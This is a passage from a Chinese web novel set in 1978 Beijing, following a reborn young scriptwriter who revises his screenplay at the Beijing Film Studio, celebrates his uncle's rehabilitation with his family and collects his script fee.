梁晓声跟他一起回来的,坐下后梁晓声才说道:“你这个本子,前面的内容不用修改,只需要把故事结尾再好好完善一下就成,这就大大减少了工作量。 你把之前那个结尾划掉,另起一行重写一个即可。” “我明白了,感谢指点!”高远冲梁晓声抱抱拳以示感谢。 “你还挺江湖。得,我不打扰你写作了,中午吃饭前我再过来喊你。”梁晓声说完就走。 高远送他出门,回来后把插销一插,不着急改稿,他脱了鞋往床上一趟,休息一会先。 看一眼墙上的月份牌,今儿都1月30号了,阴历腊月22。 距离春节还有七天。 时间充裕得很。 高远打算在北影厂招待所磨蹭到年28再回家,因为29就是除夕夜了。 赶在年前把剧本改完交上去,先在《电影创作》上发表了,免得跟原作者撞车。 等定了稿,筹拍建组后,自己还能回来接着嫖。 就是不知道到那会儿学校放不放人。 高远胡思乱想了一会儿,腾地站了起来,穿上鞋和棉袄拔了插销开门下楼。 在附近找了家副食品店,进去后见一胖一瘦两名售货员公然在工作岗位上团毛线球,一个双手撑开毛线,另一个动作快地飞起,眼见得手中的毛球滚圆起来。 “同志,挂面怎么卖的?”走到柜台前,高远笑着问道。 那胖售货员眼皮都不带抬一下的,“标准粉的1毛8,富强粉的2毛6,半斤粮票,你要哪种?” 这恶劣的态度,让高远直嘬牙花子,他却也不敢呲牙,心里有火儿也得压着。 要知道,在这个年头里,那些个国营商店的墙上还公然贴着:“禁止无故殴打顾客”的标语呢。 高远摸出一张5毛的,和两个2分的硬币,还有一市斤粮票,摆在柜台上,说:“麻烦您给我来两斤富强粉的吧。” 胖售货员这才放下了手里的毛球,看他一眼,哟,长得挺俊啊。 她嘿嘿笑着走过来,从柜台里面拿出两包面条,问:“还需要点什么吗?” 不仅态度客气了很多,把先开票后取货这道程序也给高远省略了。 高远瑟瑟发抖,躲开她热切的目光,往柜台里看了一眼,说:“再给我拿个榨菜疙瘩,鸡蛋也给我称三斤吧,一起算账。” 胖售货员手脚麻利,转身从咸菜缸里给他捞了个新鲜的榨菜包起来,又给称了三斤鸡蛋,眉眼开花道:“鸡蛋两毛六一斤,三斤一共七毛八,榨菜疙瘩六分钱,拢共八毛四,您再给二斤粮票就得了。” 高远实在受不了她火热的目光,赶紧掏钱付了账,道声谢后拎着三包食物逃也似的向外面冲去,生怕走慢一点就被胖售货员占了便宜一般。 您长得也太吓人了,跟猪八戒他二姨似的。 见俊小伙儿玩命般颠儿了,那瘦子笑得花枝乱颤,“姐,您把人吓坏了。” 胖子撇撇嘴,说道:“一看就是个小雏鸡儿,根本就不晓得姐的万种风情。” 瘦子又发出一阵大笑。 万种风情没看出来,我敢打赌,他肯定看出来您这身肥肉有一百八十多斤了。 在这个物资匮乏的年代里,还能养出这么一身肥膘,您也是盖了帽了。 一路小跑着冲进屋里,高远这才松了一口气。 那死胖子眼中放射出来的欲火,太他妈吓人了! 他把面条、鸡蛋、榨菜疙瘩放在茶几上,刚坐下休息了一会儿,门被敲响了。 “进。” 梁晓声推门走进来,笑道:“走啊,吃饭去。” 高远坐着没动,问他道:“梁大哥屋里有电饭锅没?” 梁晓声点点头,说道:“有一个,你要用啊?” “咱俩中午不去吃食堂了,下面条吃吧。”高远指指茶几上的面条鸡蛋,说道。 他自个儿掏钱买这些吃食,本就有接济梁晓声的意思。 老梁日子过得太凄惨了。 高远虽说不圣母,更做不到路见不平拔刀相助,但是对于志同道合的人,能帮一把他还是愿意帮一把的。 他也有心结交梁晓声。 “吃面条就吃面条,小高你等着,我这就把电饭锅拿过来。”梁晓声说完就快步离开。 不大会儿他抱着个电饭锅回来了。 高远一看,三角牌的,这可是老字号国产品牌了,1966年成功注册,70年代起就远销海外,成为广货出口的代表。 他把锅接过来,放到书桌上,倒了半锅开水,插上电源。 这年头的暖瓶真的不怎么保暖,水倒进去,约莫也就50多度。 等待水开的工夫,高远麻利地找出一把水果刀来,又擦了擦茶几,把榨菜疙瘩放茶几上摁住了,因陋就简先切片后切丝。 整得跟中华小当家一般。 把梁晓声看得一愣一愣的,“没想到啊没想到,你还有这手颇精湛的厨艺。” 高远微笑,“谁还不是苦出身,穷人的孩子早当家啊。” 梁晓声也嘿嘿笑了。 高远又指使他,“你那儿有大葱吗?拿根过来。” “有,稍等。”他又跑出去了,积极性特高。 回来的时候,面条已经煮了进去,榨菜丝也放进锅里。 高远又往里面卧了四个鸡蛋。 三分钟后,面条熟了。 高远切了把葱花扔里面,搅和搅和也不讲究,直接往大茶缸子里盛。 他先递给梁晓声一缸子简易版的榨菜鸡蛋面,笑着说:“尝尝味道如何。” 梁晓声预料到高远这儿连筷子都没有,顺手带过来两双。 他挑起一筷子面条送进嘴里嚼啊嚼,味道出奇地不错。 嗯嗯了两声表示好吃,他埋头开造。 高远也一手操着茶缸子,一手拿着筷子,紧着往嘴里扒拉。 这要是再有点肉丝,再呛个锅就更完美了。 他倒也想得开,眼下就这个条件,等回头常住了,再往这里多捣鼓一些生活用品和米面粮油吧。 梁晓声连干三碗面,吃了俩鸡蛋。 高远炫了两碗面,也吃了两个蛋。 狼吞虎咽了一顿后,这哥儿俩打个饱嗝,对视一眼放声大笑。 往后的几天,食堂里突然就没了高远的身影,搞得北影厂的人还以为这小子的剧本没审核通过,被打发回去了呢。 江淮延一问,才从梁晓声嘴里得知,两人在房间里开上小灶了。 不光煮面条吃。 梁晓声主动提出来,自己可以负责采购工作,我知道附近有个黑市,买东西只要钱不要票,有钱就能买到吃的。 高远一听那还不抓紧下手啊。 来之前老妈给了他二十块钱,他拿出十块作为两人改善伙食的资金。 梁晓声起初还有点不好意思接。 但高远发话了,不能让梁大哥白辛苦,更别说去黑市买东西还要冒一些风险了。 梁晓声心里清楚这个小兄弟是在变相接济自己,对他心怀感激,也就没继续矫情,把钱接了过来。 别说,梁晓声还真在黑市里淘换来不少好东西,白莲藕、鲫鱼,还有黄瓜这个稀罕物。 两人今儿炒个藕片,明儿炖锅鲫鱼,后天高远正琢磨着吃点啥,梁晓声把报纸揭开,三两肥肉多瘦肉少的新鲜五花就映入了高远的眼帘。 这还有什么好说的,包饺砸! “我说晓声你这几天怎么红光满面起来了,敢情你和小高顿顿不重样啊。”江淮延打趣道。 “江老师,我心里明白着呢,小高见我家庭困难,变着法地接济我呢。”梁晓声在同事们面前从来不掩饰他的家庭情况。 江淮延拍拍他的肩膀,说道:“好好处吧,小高是个有心的孩子。” 那个有心的孩子正在改稿。 他也不能一直都不干活,真熬到最后一天才动笔,这么做了,白嫖的意思就太明显了。 高远写了几百字,先把光电探纬仪研发成功这段剧情,和嘉英、郁林举办婚礼这段补充完整,啪地将稿子翻个面儿,拍在桌子上。 打完收工。 第31章 大伯,欢迎回家 高远刚站起来伸了个懒腰,忽听窗户外面有人喊:“小高,楼下有人找,赶紧下来。” “哎,来了。”他挺纳闷儿,这会儿谁来找自个儿啊? 跑到楼下一看,老爸推着自行车正笑眯眯看着自己。 高远紧走两步,来到老爸跟前,扶着车把手惊喜道:“爸,您回来了,事情办的顺利吗?” 高跃民点头微笑道:“特顺利,两天就办完了,不光把你姐的户口和粮食关系都迁了回来,垦区领导也给你小叔放行了。” “那就好那就好,这下我姐和我小叔两颗心算是放进肚子里了。您这是刚下班?” “嗯,昨天夜里到的家,学院里太忙了,我也不好老请假,今儿就回去销假工作了。走,儿砸,上车回家。” 高远低声说道:“爸,我稿子还没修改完呢,这会儿还不能回家。” 高跃民哈哈一笑,说道:“耽误一晚上也耽误不了多少事儿,今儿你还真得跟我回去,告诉你个好消息,你大伯解放了!” 高远咝了一声,顿觉惊喜,笑着说道:“那是必须得跟您回家了,我大伯在家等着呢?” 说着,他接过车子来,蹁腿上去,让老爸坐后座上,等老爸坐稳了,像是蹬风火轮一般风驰电掣着冲向北影厂大门。 高跃民扶着他的腰,一阵心惊肉跳,“你慢着点儿,慢点儿骑,你大伯还在办手续,给我打电话说,还要先去单位里报个到,没那么早到家。” 高远这才放慢了速度。 记忆中,上辈子大伯被解放,是年后发生的事情了。 这辈子提前结束隔离审查,是不是跟自己有关,高远也不确定。 不过说来,大伯出来了,就代表着一家人终于齐整了。 爷儿俩回到家时刚过四点钟。 接到高跃华被解放消息的张雪梅、高跃林、高跃然和高雅全部在家等候着他的归来。 每个人脸上都挂满了笑容。 高远刚进门就被姐姐拽住了,“我听咱妈说你去北影厂改稿了?你小子可以啊,居然不声不响地写了个剧本出来,还被北影厂看中了,弟弟你可以的。” 高跃然也走过来,好奇宝宝似的笑着问道:“小远子,北影厂大不大啊?伙食标准好不好呀?” 高远嘿嘿笑着说:“姐姐过奖了。我再回答小姑的问题,北影厂很大,占地面积得有个100多亩。 吃得也还算不错吧,包子、馒头、米饭、油条之类的主食供应充足,每顿能有四个菜,不过大多是青菜,很少见荤腥。” 高跃林笑道:“这年头,能吃到青菜就已经很不错了,你可知足吧。” 高雅又问道:“小远,你写了个什么故事啊?” 高远简单介绍了一下。 “稿子修改完,是不是就要被拍成电影了?”高跃然紧跟着又提了个问题。 高远说是。 小姑冲他竖起根大拇指。 外面传来嘀的一声汽车喇叭的鸣响。 高跃民一跃而起,脚步匆忙往外面走去。 几人随后跟上。 走到门外,高远先看见一辆方头方脑的212吉普车停在门前。 紧接着,高跃华拉开后车门走下车来。 副驾驶上跟下来一个穿着军装领导模样的中年男子,他身后是一个拎着包的年轻人。 “大哥,欢迎回家!”高跃民来到高跃华面前,紧紧握住他的手,眼眶中有泪光闪动。 高远发现,大伯的嘴唇也微微颤动着,他抽出一只手来狠狠拍了拍老爸的胳膊,点着头语无伦次道:“回家了,我回家了。看到你们都安然无恙,我高兴啊。” 高跃林凑过来:“大哥。” 高跃然:“大哥。” 高远、高雅:“大伯好。” “好,好啊。” 张雪梅笑着说道:“外面冷,大哥和几位同志进屋说话吧,年根儿底下,别动感冒了。” 高跃华这才说道:“对对对,进屋进屋,李处长,小靳,还有司机师傅,进来喝杯茶暖和暖和吧。” 中年人李处长笑着说好。 一群人呼啦啦走进院子里。 东屋的刘婶眼见着老高家的顶梁柱回来了,心里咯噔一下,对正一口口抽烟袋锅的刘前进低声说道:“坏了,高家老大放出来了,这下要遭!” 刘前进听了她的话烟也不抽了,慌忙站起身,透过窗户往外一瞧,不禁瞪大了眼睛,倒吸一口凉气,“不是说被打成右派了么,这也能翻身?” 刘婶叹声气,“既然都公开露面了,可不就是翻身了么,这下坏菜了,高家老大一解放,说不定工作也被恢复了,他被隔离前可是部级高官,这要是恢复了工作,他发句话,咱这房子怕是住不下去了。” 刘前进:“唉……” 高跃华进了屋后,先打量了一下房子的状况,见挺宽敞,心下诧异。 高跃民简单说了句:“之前住南屋,老三和小雅回来后实在住不开,就找街道办的周主任帮忙协调了一下,我们才和老魏家换了房。” 高跃华点点头,心里充满了愧疚,却也没再多说这个事情。 各自落座后,高远和高雅充当起服务员,给大伯、李处长几人泡了茶端过来。 李处长接过茶杯,笑眯眯看着高远,问道:“你就是咱京城的高考状元高远吧?” 高远又开始装腼腆了,他低声说道:“高考状元是蒙的,比我优秀的同学多的是,只是他们没发挥好罢了。” 李处长呵呵一笑,扭头对高跃华说道:“部长,您这个侄子还挺谦虚。” 高跃华也看着高远笑道:“老李你可不要被他的表象迷惑了,之前他可不是这样的,顽皮得像一只猴子。” 高远没皮没脸地说道:“人都会长大的嘛。大伯,您官复原职了?” 听高远问起这茬来,大家也都满脸期待望着高跃华。 高跃华喝口茶,笑着揭开谜底:“部队是回不去了,组织上安排我到文化部任职,我已经去报过到了,过完年正式上班。” “恭喜恭喜。”高远笑嘻嘻拱着手说道。 大家也都向高跃华表达着祝贺。 这时候,李处长说道:“我来呢,有两个任务,第一是护送部长安全到家,第二,代表组织给高部长一个正式的结论。” 家人们脸上都禁不住严肃起来。 李处长清清嗓子,继续说道:“高跃华同志是忠诚的、优秀的、经受住考验的gCzygm干部……” 人都解放了,结论也当然会还高跃华一个清白。 李处长说了三分钟才止住了话头。 高跃民激动地跟他握手,说着感谢的话。 李处长笑着说:“跃民就别见外了,都是应该的。好了,我的工作结束了,就不打扰你们一家团聚了。部长,辛苦司机同志送我一趟吧。” 高跃华点点头,对司机说道:“陈师傅,辛苦一趟,把李处长安全送到家。” 陈师傅放下茶杯笑着说好。 一家人把李处长送到门口。 李处长死活拦着不让大家出院门了。 回到屋里,高远那死皮赖脸的劲儿又上来了,他双手往高跃华面前一伸,说:“大伯,咱俩打那赌您还记得不?我将校呢大衣呢?” “打赌?你们爷儿俩打什么赌了?”高跃民不解地问道。 张雪梅几个好奇的也看过来。 高跃华抬头在他脑门儿上敲了一下,“混小子,可真有你的,还惦记着呢。” 他又对高跃民几个笑着说:“高考刚结束那几天,这小子去看我,我说咱家今年能出两个大学生,他跟我急了,说我瞧不起他。 就跟我说他也能考上大学,不信就打个赌,我答应了。 我们爷儿俩的赌注是,他赢了得我一件将校呢,他输了白给我做一个月饭。 我是真没想到啊,你小子不鸣则已一鸣惊人了还,不仅顺利考上了大学,还成了京城的高考状元。 你这个高考状元要不是经过组织上认定的,谁跟我说,我都会觉得他一定是发烧说胡话呢。” 一番话说得全家人都笑了起来。 高远撇着嘴嘀咕道:“您甭说这些个有的没的,我看您就是想耍赖,不兑现承诺。” “混小子,你小看你大伯的信誉度了。”高跃华一伸手,那个叫小靳的年轻人立刻递给他一个包。 他又把包递给高远,说道:“一件将校呢大衣而已,你大伯至于跟你耍赖么。拿着吧,归你了!” 高远喜滋滋接过来,放在地上拉开拉链,将大衣取出来,猛地发现包底下还有一套毛料军装和一双三接头大皮鞋,惊喜地问道:“伯,这套衣服和这双鞋也都是给我的?” 大伯开怀一笑,道:“都是奖励你的,祝贺你啊小远,给咱家争脸了,咱老高家也出了个北大生,大伯高兴啊。 还有,跃然和小雅的礼物我也都准备好了,今儿车里放不下,赶明儿我让人给你俩送过来。” 高跃然和高雅一个说谢谢大哥,一个说谢谢大伯。 高跃华从进屋后笑容就没在脸上消失过。 其实大家心里也都明白,他这是在用送礼物的方式弥补前些年来他对大家的亏欠。 这个家庭的成员们,受他的牵连太多了。 高跃华深感愧疚。 第32章 这话忒损了 高跃民这时候把他的人造革皮包拿了过来。 是的,就叫这名儿,人造革皮包。 他从皮包里拿出一个牛皮纸袋子,啪地往茶几上一摔,笑容满面道:“我也有两个好消息要说,首先,学院把我们这批人前六年的工资补发了。” 张雪梅闻言立刻把牛皮纸袋子拿起来打开,往里一瞧,嚯!满满一袋子10元大票。 这是第三版人民币,人民代表走出大会堂的那套,面值最大的就是10元,老百姓称之为:大团结。 张雪梅眼睛都亮了,“这是多少钱啊?” “5974块2毛。”高跃民数过一遍了,自然门儿清。 “发了!”高远眼珠子也贼亮。 他又算了算,老爸是三级教师,每个月能拿82块6,补发了六年的工资,可不就小6000块钱么。 苦日子过惯了,突然就成了半个万元户,这上哪说理去? 还有啊,老爸一下补发了那么大一笔工资,显得我的重生毫无意义! 想到这里,高远的情绪忽然低落下来。 高跃华喝着茶,笑呵呵调侃道:“相当于零存整取了你这是。” 高跃民笑着说:“也亏,把这六年工资存银行里,还能产生不少利息呢。” “二哥,账不能这么算,家里日常开销不得花钱啊。”高跃林说道。 “老三说得对,这就是一笔糊涂账,算不清楚的。”高跃华称赞了高跃林一句,又喝口茶,继续道:“另一个好消息呢,老二你继续说啊。” 高跃民啪地又甩出一套钥匙来,潇洒地说道:“房子也重新分配回来了。” “今晚高低得喝两口了。”高远笑嘻嘻提议道。 “我这就去炒菜。”张雪梅站了起来。 “还炒什么菜啊二嫂,下馆子去得了。”高跃林激动地说道。 “见点钱你就得意忘形,不许铺张浪费。”高跃华板着脸批评高老三。 高跃林立刻不吱声了。 高跃民却说道:“下馆子下馆子,大哥回来了,咱们一家总算齐整了,最近这段儿咱家好事连连,也该庆祝庆祝,顺便当去去晦气了。” 张雪梅也是个大方人,她笑着说:“大哥,你就如了跃民的愿吧,前些年,全家人都憋得不轻,这日子总算有点盼头了,吃顿好的不算过分。” 见一家子全都眼巴巴望着自己,高跃华哑然失笑,遂答应下来,“那就铺张一回?” “铺张一回!” “必须的!” 高跃华一拍大腿,站起来,说道:“雪梅你先把钱收好,赶明儿存银行去,这么大一笔钱,放在家里不安全。” 张雪梅从袋子里数出五张大团结来揣进兜里,想着五十块钱一家人吃啥都够花的了,笑着说声好,拿着袋子走进卧室,将之放进抽屉里上了锁后走回来。 高跃华一挥手,说道:“走,下馆子去。” 于是乎,一家人急赤白脸地出门奔国营饭店而去。 不急赤白脸不成啊。 国营饭店掌勺的师傅们七点半准时下班,去晚了人家就不伺候了。 胡同口就有一家名叫红旗饭店的老国营。 小靳对高跃华说道:“部长,您这边没有其他工作安排给我的话,我就先回去了。” 高跃华差点把他给忘了,见他跟了过来,客气道:“一起吃个饭再走吧。” “不了不了,我就不打扰您一家人团聚了。”小靳摆着手说道。 高远走过来,摸出一包烟塞到小靳手里,笑着说:“看着面熟啊。” 小靳脸一红,咳嗽了两声后说道:“小高,说话注意分寸啊。” 高远哈哈一笑,想起来了,“原来是你啊,我说怎么老觉得你挺面熟的。” 这是看守大伯的那个小战士。 大伯面容温和,笑着说道:“这几年,多亏鹏飞照顾我的生活了,今天组织上跟我谈话,让我有什么要求尽管提,组织帮忙解决。 我只提了一个,让鹏飞跟我走。 组织上经过全面考虑,答应了我的要求,鹏飞现在是我秘书。” “部长言重了,跟在您身边这些年,我也从您身上学到了很多。”小靳腼腆一笑,又把烟递给了高远,说道:“这我不能要,小高你收回去吧。” 高跃华发话了,“拿着吧,你比高远大不了几岁,都是新时代的年轻人,今后常来常往就是了。” 靳鹏飞这才把烟揣进了兜里。 212刚好过来了,靳鹏飞跟高家各位摆摆手钻进车里,吉普车鸣了声笛后扬长而去。 一家人运气不错,馆子里客人不多。 张雪梅先去柜台那边交了钱和粮票,做主点了溜肉片、红烧带鱼、青椒炒肉丝、红烧肉、酸辣土豆丝、炝拌白菜心,想了想,又加了一碗菠菜蛋花汤。 狠狠心要了两瓶茅台,最后点了一斤水饺。 共花费23块4,又额外支付了几斤本地粮票。 这一顿饭,半个月的工资就花没了。 但她还是高兴,这年头儿,一家人齐齐整整,健健康康的比什么都强。 营业员把菜端上桌的时候,看这家人的眼神儿都煜煜生辉的。 这得多好的家庭条件啊? 一顿饭就造劳苦大众半个月工资。 瞧瞧这满桌子的横菜,普通人家过年也吃不上两道啊。 唉,只能说人比人得死,货比货得扔。 高家三兄弟喝着小酒吃着横菜聊着家常。 几位都很有默契的没问高跃民这些年是怎么熬过来的。 高远没喝酒,他知道,这顿饭吃完后,回到家才是三兄弟交心的时候。 自己今晚肯定没办法在家里住了,房子还是住不开。 “妈,咱什么时候搬家啊?”高远吃得满嘴流油。 高雅看过来,也问:“是啊妈,年前能搬回去不?” 张雪梅笑着说:“明天我就请假过去打扫卫生,年前必须搬回去,这该死的胡同,我是一天都不想住了。” 高跃然说道:“二嫂,我跟你一起去打扫卫生。” “跃然厂里不忙了?” “知道我考上大学后,厂领导就把我从车间调到后勤了,后勤,你们懂的,嗑瓜子儿,喝茶水儿,看报纸儿,闲得都快长毛了,领导们从年头到年尾,能去巡视个三回就算格外关注了。” 这话听得几人都笑了起来。 张雪梅说:“成,那你明天跟我一起去,给嫂子搭把手。” 高雅也自告奋勇道:“还有我,还有我。” “还能少得了你啊。”一想到马上要搬离胡同,张雪梅就格外开心。 高远也开心,搬回到学院路,自己可就离家太近了,白天去北影厂改稿子,晚上回家睡觉,一点都不耽误挣补助。 这顿饭吃到八点钟,柜台里面的营业员又是大声咳嗽,又是提高嗓门儿说话的,一家人这才明白过来,人家这是提醒咱们差不多该散局儿了。 没人对此有意见。 那标语还明晃晃在墙面上贴着呢。 禁止无故打骂顾客! 惹不起啊惹不起。 六菜一汤被全家人吃得干干净净,一斤水饺一个都没剩下,饺子盘都反光。 一行人出门,呼呼啦啦往家里走。 小叔这个不要脸的玩意儿还把两个茅台酒瓶子顺走了。 按他说的,多少能卖俩钱儿。 进了家门,高远对大家说道:“天还不晚,我回招待所了。” 高跃华已经从老二、老三嘴里得知,自己这个侄子写了个剧本,被北影厂看中一事了。 侄子争气,他深感欣慰,便笑着调侃道:“怎么,家里住不开你啊。” 高远挠头一笑,说道:“还真住不开,你们老哥儿仨今晚不得秉烛夜谈,抵足而眠吗?我这么大人了,总不能再跟妈妈一起睡了吧。” 张雪梅捶他一拳,“去你的!” 高跃民看看挂钟,笑道:“还有公交车,你回去也行,路上小心一点啊。” 他确实有一肚子话要跟大哥说,对儿子表现出来的体贴、体谅,高跃民由衷高兴。 高远拎起那个装着将校呢、毛料军装和大皮鞋的挎包,一笑,说道:“那我回去了,大伯,回头给您炖鱼吃啊。” 高跃华乐了,“别说,我还真馋你那口。走吧,路上小心些。” 高远这才出了门。 小叔大声说道:“明天我过去找你玩儿啊。” 高远连头都没回,也懒得搭理他,他心说,你是去找我玩儿的么?你明显是奔着去找女明星玩儿的。 我太清楚你什么尿性了。 见个女的你就走不动道。 高远一路颠簸回到招待所,刷了牙洗了脸泡了脚倒头就睡。 第二天起来,他穿一身光板儿毛料军装,披着将校呢雄赳赳气昂昂地走进食堂。 一看他这身打扮,江淮延立马喷了。 军装是真挺括,将校呢也显得他更英姿勃发,但你脚底下踩着双老棉鞋就很搞笑了。 怎么看怎么不协调。 施雯心老太太也乐得不行,张嘴就损他:“小高,你要是没皮鞋穿,我家老头子那儿还闲着双退了休的,改天我拿给你啊。” 皮鞋还能退休啊。 那不就是破鞋么。 高远一脑门子黑线,从口袋里摸出四个鸡蛋来放在老太太面前,说道:“我谢谢您了,让老爷子留着当传家宝吧,传个几辈儿人,说不定都能当文物卖了。 得,吃您一个还您四个,这便宜您占大了。” 这话忒损了,气的老太太给他来了下狠的,指着他的鼻子笑骂道:“你个嘴上不饶人的熊玩意儿,是想活活气死老太太呀!” 一桌子人全笑趴下了。 也就是高远这个活宝能有此待遇了,换个人,敢在施老师面前如此放肆,老太太一怒,早一秤砣偰死你了。 第33章 可算领到稿费了 见还有空座,高远买了油条豆汁儿还有一碟小咸菜回来,在施雯心对面坐下,拿了一个鸡蛋,一脸讨好地说道:“我给您剥鸡蛋皮哈。” 施雯心哼了一声,到底没憋住,笑了,“话说您小子剧本改得怎么样了?” 高远把鸡蛋放进施雯心的饭缸子里,说道:“再给我三天时间就能改完了。” “最多再给你两天时间,你加点儿紧吧,再过几天,财务处就封账了,到时候即便厂领导把稿费批了,年前你也兑现不出来了。”施雯心善意地提醒道。 她不提,高远真不知道厂里还有这规定。 他忙说道:“得嘞,那我抓点紧,加加班,争取明天改好后交给您审阅。” 吃完早饭,高远回403继续改稿大业。 其实如何收尾早就印在高远脑子里了,需要花费功夫的是写作的过程。 纯手写,比在电脑上打字效率可低太多了。 高远集中精力,笔耕不辍,也花了两个小时才完成了整个故事的收尾工作。 看着成型的稿子,高远长舒一口气。 嗯,不着急,说了明天给老师们送过那就明天送。 做人不能言而无信。 他不知道的是,施雯心和江淮延这会儿正在汪阳办公室里蘑菇。 “厂长,您给句痛快话,小高的稿费您到底怎么考虑的?”江淮延操着一口南方普通话问道。 “不是还没定稿么,你们着什么急?”汪阳一脸和煦,笑呵呵反问道。 “这剧本我们看过后立刻送您案头上来了,您看了也说好,小高过来后采纳了几位老师的意见,按照我们提出的要求在校正稿件,虽说还没最终定稿,但通过审核是没问题的。 稿费该提上日程了,再不把标准定下来,晚几天,一来我担心作者的积极性受到消磨。 这二来嘛,小高有才华,长得也好看,性格活泼开朗,还谦逊懂礼貌,是个不可多得的人才。 从厂里的角度出发,咱们该拉拢必须拉拢啊。 这年头,哪个优秀编剧不是各家制片厂竞相争夺的对象?” 施雯心这番话说得掏心掏肺。 也说到了汪阳的心缝里去了。 “是啊,一位才华横溢编剧的横空出世,是会被四家大厂抢破头的。” 四家大厂,指的是长影、北影、上影和八一厂。 “小高的稿酬,你们两个觉得,给多少合适?”汪阳又把皮球踢了回来。 施雯心和江淮延对视一眼。 老狐狸! 施雯心想了想,说道:“现如今不是5、60年代那会儿了,那时候编剧写个剧本,一旦被采用,动辄能挣好几千块,真叫一夜暴富。 现在一个原创剧本,首先看的是作者的影响力和故事的可改编性。 换言之,作者名气越大,稿酬给的越多。 但小高创作的这个本子,我认为还是有一点特殊性的……” “雯心同志你长话短说。”汪阳太了解小老太太的性格了,你要让她敞开了聊,她能在你办公室里聊一天,还保证没有一句话是重样的。 施雯心抿嘴一笑,继续道:“我的意思是,别看小高年轻,他创作的这个剧本分量可不轻。 也就是说,符合了另一条要求,故事的可改编性太强了。 咱们北影厂好些年没拍过喜剧片了,虽说资料室里留存了不少可堪效仿的作品,但也留下不少教训。 小高创作的这个故事被拍成影片,咱们厂不仅积累了喜剧片的拍摄经验,也算打上了电影事业恢复后国内喜剧片缺失这块补丁了吧?” 见汪阳认可地点头,小老太太又说道:“所以说,这稿酬就不能少给了。给个1200吧,再少就不合适了。” 汪阳又瞧瞧江淮延,笑着问道:“你的意思呢?” 江淮延来之前跟小老太太商量好了,遂说道:“我也觉得给1200,不高不低正合适,也能起到个鼓励年轻人创作热情的作用嘛。 这也是厂长您的指导方针,您不是一直都乐于看到新生力量在电影界不断涌现么。” 汪阳哈哈大笑,照单全收了这个马屁,爽快地说道:“既然你们编辑部已经达成了统一意见,那就定下来吧,厂里支付给高远同志1200块钱的稿酬。 我通知财务部门把钱准备好,待会儿让高远同志过去领了就成。 等过完年开了春儿,咱们就把剧组筹备起来。 对了,你俩觉得,哪位导演来执导这部影片合适啊?” 江淮延没吭声,这不属于他工作范畴,提谁不提谁,传出去都会得罪另外几个人。 要知道,厂里那几位导演可都眼巴巴等着高远的剧本正式出炉呢。 施雯心是个老资格,自然没有江淮延那么多顾虑,她直言不讳道:“您培养的四大导演我觉得一个都不合适,恕我直言,这几位的执导风格太老派了。 这是部喜剧片,不如启用年轻导演吧。 王好为、李文化、陈怀恺三选一我认为是合适的。” 汪阳没表态,笑着说:“我再考虑考虑,今儿就谈到这里吧,我还有些公务要处理一下。” 两人站了起来,向汪阳告辞后离开。 回到编辑部,施雯心让梁晓声去喊高远。 不大会儿,高远来了,“主任您找我啊。” “坐,跟你聊聊稿费的事儿。”施雯心说道。 稿费啊! 您要唠这个,我可就不困了。 高远拉了把椅子坐下了。 瞧他这一脸激动的样子,施雯心打趣道:“我还以为你会说,创作一个好剧本也是为人民服务的具体表现,稿费不稿费的就别提了呢。” “我的理解是,满足不同群众的文化需求,丰富人民群众的业余文化生活,才是为人民服务的具体表现,这跟我拿不拿稿费也不冲突啊。” 高远又开始犯贫,“再说了,我付出了劳动,才能享受到成果,这也是自我价值的体现,您说,是这么个理儿不?” 一老一小新一轮的唇枪舌剑大戏即将上演。 编辑们低头的低头,捂脸的捂脸。 没眼看,辣眼睛。 让大家没想到的是,德高望重的小老太太鸣金收兵了,她慈祥的笑了笑,说道:“倒是句大实话,人活一世,怎么可能无欲无求,那不成圣人了? 你稿酬这件事情,经过我们编辑部讨论确定,上报厂长批准,决定给你1200块钱。 小高,你可别嫌少啊。” 1200块还少? 他激动地差点蹦起来。 之前他有过预估,这个本子,能挣个三头五百的他就心满意足了,1200,他做梦都没梦到过。 “不会不会,怎么会嫌少呢。” 北影厂大气啊,真舍得给钱。 看他不似作伪,施雯心认为他不懂行里的门道,摇摇头,耐心给他解释了一句,“以你这个稿件的质量,搁以前别说1200块了,你开价5、6000都有的是制片厂抢着要。 中国电影事业这也才刚恢复正常秩序,跟十年前繁荣时期肯定没得比了。 还有就是,国家没给我们制定新的标准,所以,收到剧本决定采用后,给编剧多少稿酬,我们都是自己商量着来。” “我明白,我明白。”高远一叠声的说道。 江淮延接上话茬,“小高,给你1200块钱稿费,已经不是新人价了,初出茅庐的青年编剧是拿不到这个数目的。” 听话听音,锣鼓听声。 虽说江淮延说得不尽不实,高远这个拔根眼睫毛都能当哨吹的家伙琢磨片刻就品出了他的潜台词。 “感谢各位老师的厚爱,要没您几位的关心支持,我也拿不到这笔稿酬,为了表示感谢,今晚我请客,请各位老师务必赏光。” “得了吧你,虽说大家都不富裕,但谁也不缺你那一口吃的。你把请客的钱剩下来,买点东西回家孝敬孝敬父母,让你父母一起跟你分享收获的喜悦,这才是你该办的事情。” 施雯心语重心长地说道。 高远点点头,说道:“我晓得了,感谢您的教诲。那啥,我现在能去领钱了吧?” 施雯心翻个白眼儿挥挥手,“去吧去吧。” 高远飞快地跑了。 编辑们心里头五味杂陈。 这可是1200块啊,78年的1200块! 这年头,京城城镇职工,每月平均收入是58.3块钱,农民伯伯脸朝黄土背朝天干一个月,能有个30块钱的收入已经感到很幸福了。 瞧瞧人家小高,才17岁,就挣了城镇职工20个月的工资。 只能说,人与人的差距是巨大的。 梁晓声尤其羡慕,他此时萌生出了一点小想法,要不,我也写个剧本试试看? 问题是没写过啊。 没写过不要紧,我和高远是哥们儿,向他请教不丢人。 梁晓声暗暗攥紧了拳头。 1200块钱稿酬,加上10天的补助,高远一共领了1220块。 厚厚一个信封。 他贴身放好,拍拍胸口,哎呀,居然有点喜出望外的赶脚。 这钱挣得可真够不容易的,重生回来都两个月了,才挣了1200块钱,真给重生大军丢人。 当然也是没办法的事情,归根结底,这就是时代的局限性。 想在这个年代中合理合法的挣钱,难度不是一般的高。 高远很快就释然了,他迫不及待想回家,想跟父母分享喜悦。 这个念头刚起来,一个让他耳膜崩溃的声音传了过来:“小远子,你过来跟大爷掰扯掰扯,我是不是你叔。” 高远朝南边望去,无奈地叹声气,这个不靠谱的玩意儿还是找过来了。 第34章 不请自来庆奶奶 高远溜溜达达走过去,先给佟大爷递上根烟,两人混得很熟了,高远听大爷自个儿介绍说,他是旗人,祖上是镶黄旗佟佳氏佟养正那一枝的。 后来新中国成立,满人改汉姓,佟佳氏从老姓中择出一个字来姓了佟。 “这个不着调的玩意儿真是你叔?”佟大爷把烟接了,点上后问高远道。 “如假包换。”高远笑着说道,又问:“我小叔哪里得罪您了?” 